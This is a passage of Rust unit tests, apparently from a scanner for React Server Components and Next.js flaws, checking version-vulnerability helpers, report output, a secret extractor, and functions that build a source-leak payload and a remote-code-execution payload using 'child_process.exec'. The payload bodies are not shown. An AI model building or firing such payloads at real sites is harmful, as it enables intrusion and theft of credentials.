2034    fn test_is_react_vulnerable() {
2035        assert!(is_react_vulnerable("19.0.0"));
2036        assert!(is_react_vulnerable("19.1.0"));
2037        assert!(is_react_vulnerable("19.2.0"));
2038        assert!(!is_react_vulnerable("18.2.0"));
2039        assert!(!is_react_vulnerable("20.0.0"));
2040    }
2041
2042    #[test]
2043    fn test_is_nextjs_vulnerable() {
2044        assert!(is_nextjs_vulnerable("15.0.0"));
2045        assert!(is_nextjs_vulnerable("15.5.6"));
2046        assert!(is_nextjs_vulnerable("16.0.6"));
2047        assert!(!is_nextjs_vulnerable("14.2.0"));
2048        assert!(!is_nextjs_vulnerable("17.0.0"));
2049    }
2050
2051    #[test]
2052    fn test_craft_leak_payload() {
2053        let payload = craft_leak_payload();
2054        assert!(payload.contains("@source"));
2055        assert!(payload.contains("server_function_source"));
2056        assert!(payload.contains("expose"));
2057    }
2058
2059    #[test]
2060    fn test_build_rce_payload() {
2061        let payload = build_rce_payload("id");
2062        assert!(payload.contains("blob_handler"));
2063        assert!(payload.contains("child_process.exec"));
2064        assert!(payload.contains("id"));
2065    }
2066
2067    #[test]
2068    fn test_extract_sensitive_data() {
2069        let source = r#"
2070const API_KEY = "sk_test_abc123";
2071const DB_PASSWORD = "secret_password";
2072const DATABASE_URL = "postgresql://user:pass@localhost/db";
2073"#;
2074        let findings = extract_sensitive_data(source);
2075        assert!(!findings.is_empty());
2076    }
2077
2078    #[test]
2079    fn test_check_versions_vulnerable() {
2080        assert!(check_versions_vulnerable(
2081            &Some("15.0.0".to_string()),
2082            &None
2083        ));
2084        assert!(check_versions_vulnerable(
2085            &None,
2086            &Some("19.0.0".to_string())
2087        ));
2088        assert!(!check_versions_vulnerable(
2089            &Some("14.2.0".to_string()),
2090            &Some("18.2.0".to_string())
2091        ));
2092    }
2093
2094    #[test]
2095    fn test_report_generation() {
2096        let scan = ScanResult {
2097            url: "http://test.local".to_string(),
2098            is_nextjs: true,
2099            nextjs_version: Some(VersionInfo {
2100                version: "15.0.3".to_string(),
2101                source: "test".to_string(),
2102                context: "test".to_string(),
2103            }),
2104            react_version: None,
2105            rsc_enabled: true,
2106            vulnerable: true,
2107            dependencies: vec![],
2108            exposed_files: vec![],
2109            secrets: vec![],
2110            details: vec![],
2111            scan_duration_ms: 100,
2112        };
2113
2114        let report = generate_report(Some(&scan), None, None, None, None, None);
2115        assert_eq!(report.summary.risk_level, "CRITICAL");
2116        assert!(report.summary.vulnerability_verdict.contains("VULNERABLE"));
2117    }
2118
2119    #[test]
2120    fn test_report_to_json() {
2121        let scan = ScanResult {
2122            url: "http://example.com".to_string(),
2123            is_nextjs: false,
2124            nextjs_version: None,
2125            react_version: None,
2126            rsc_enabled: false,
2127            vulnerable: false,
2128            dependencies: vec![],
2129            exposed_files: vec![],
2130            secrets: vec![],
2131            details: vec![],
2132            scan_duration_ms: 50,
2133        };
2134
2135        let report = generate_report(Some(&scan), None, None, None, None, None);
2136        let json = report_to_json(&report).unwrap();
2137        assert!(json.contains("example.com"));
2138        assert!(json.contains("LOW"));
2139    }
2140}